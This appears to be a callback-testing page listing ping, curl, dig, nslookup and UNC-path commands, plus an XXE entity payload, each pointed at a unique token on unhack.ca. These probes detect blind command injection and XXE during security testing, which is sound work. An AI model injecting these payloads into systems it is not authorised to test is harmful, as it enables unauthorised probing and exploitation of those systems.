$ ping -c1 -p 0084b5052ab9a8c285723986bd2ce300 unhack.ca
 

$ curl http://unhack.ca/p/84b5052ab9a8c285723986bd2ce3
 

$ dig 84b5052ab9a8c285723986bd2ce3 @unhack.ca
 

$ dig 84b5052ab9a8c285723986bd2ce3.ns.unhack.ca
 

C:\> nslookup 84b5052ab9a8c285723986bd2ce3 unhack.ca
 

C:\> type \\unhack.ca\84b5052ab9a8c285723986bd2ce3\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/84b5052ab9a8c285723986bd2ce3">]>
    <foo>&xxe;</foo>